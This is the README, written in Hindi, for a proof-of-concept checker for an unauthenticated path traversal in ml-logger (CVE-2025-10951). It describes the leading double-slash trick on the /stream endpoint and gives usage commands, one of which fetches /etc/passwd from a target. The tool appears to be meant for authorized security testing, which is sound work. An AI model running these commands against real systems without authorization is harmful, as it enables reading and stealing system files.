
CVE-2025-10951 के लिए प्रूफ-ऑफ-कॉन्सेप्ट जाँचकर्ता, जो ml-logger में एक बिना प्रमाणीकरण वाला पाथ ट्रैवर्सल है, जो /glob और /stream एंडपॉइंट्स के माध्यम से मनमाना फ़ाइल पठन को मान्य करता है।
CVE-2025-10951 / GHSA-8x9j-2p8r-7xc6 के लिए अस्तित्व-प्रमाण जाँचकर्ता —
geyang/ml-logger (≤ 0.10.36) में एक बिना
प्रमाणीकरण वाला पाथ ट्रैवर्सल, जो ml_logger/server.py के log_handler /
stream_handler फ़ंक्शनों को प्रभावित करता है।
केवल उन्हीं सिस्टमों के विरुद्ध उपयोग करें जिनके परीक्षण के लिए आप अधिकृत हैं।
| Endpoint | Method | Purpose |
|---|---|---|
/glob | POST | पुष्टि करता है कि सर्वर ऐप के इच्छित दायरे से बाहर के फ़ाइलसिस्टम पाथों को सूचीबद्ध करता है |
/stream | GET | अग्रणी डबल-स्लैश ट्रैवर्सल ट्रिक (//path/to/file) के माध्यम से मनमानी फ़ाइल पठन की पुष्टि करता है |
डिफ़ॉल्ट रूप से प्रमाण चरण केवल /etc/hostname पढ़ता है — एक एकल हानिरहित
पंक्ति, जो लगभग हर Linux होस्ट पर मौजूद होती है, कभी संवेदनशील डेटा नहीं।
pip install requests
मूल जाँच:
python3 check_mllogger_traversal.py http://TARGET:PORT
परिणाम JSON में लिखें (एंगेजमेंट दस्तावेज़ीकरण / साक्ष्य के लिए):
python3 check_mllogger_traversal.py http://TARGET:PORT --json results.json
आपके द्वारा चुनी गई किसी विशिष्ट फ़ाइल को प्राप्त करें (केवल तभी चलता है जब भेद्यता की पुष्टि हो):
python3 check_mllogger_traversal.py http://TARGET:PORT \
--fetch /etc/passwd --output passwd.txt
सभी एक साथ:
python3 check_mllogger_traversal.py http://TARGET:PORT \
--json results.json --fetch /etc/passwd --output passwd.txt
0 — भेद्यता की पुष्टि हुई (पूर्ण या संभावित)1 — भेद्यता की पुष्टि नहीं हुई / लक्ष्य अगम्य{
"target": "http://192.xxx.xxx.xxx:8081",
"timestamp": "2026-00-12T10:15:32.123456+00:00",
"cve": "CVE-2025-10951",
"glob_endpoint_confirmed": true,
"stream_endpoint_confirmed": true,
"vulnerable": true,
"likely_vulnerable": true,
"fetch": {
"remote_path": "/etc/passwd",
"local_path": "passwd.txt",
"success": true
}
}
--fetch केवल भेद्यता जाँच के सफल होने के बाद ही चलेगा — यह किसी
अप्रमाणित लक्ष्य के विरुद्ध फ़ेच का प्रयास नहीं करेगा।| Flag | Description |
|---|
target | आधार URL, जैसे http://192.xxx.x.xx:8081 |
--timeout | अनुरोध टाइमआउट सेकंड में (डिफ़ॉल्ट: 8.0) |
--json FILE | संरचित परिणामों को एक JSON फ़ाइल में लिखें |
--fetch REMOTE_PATH | आपके द्वारा निर्दिष्ट किसी विशिष्ट रिमोट फ़ाइल को प्राप्त करें |
--output LOCAL_PATH | --fetch आउटपुट के लिए स्थानीय फ़ाइलनाम (डिफ़ॉल्ट: रिमोट पाथ का बेसनेम) |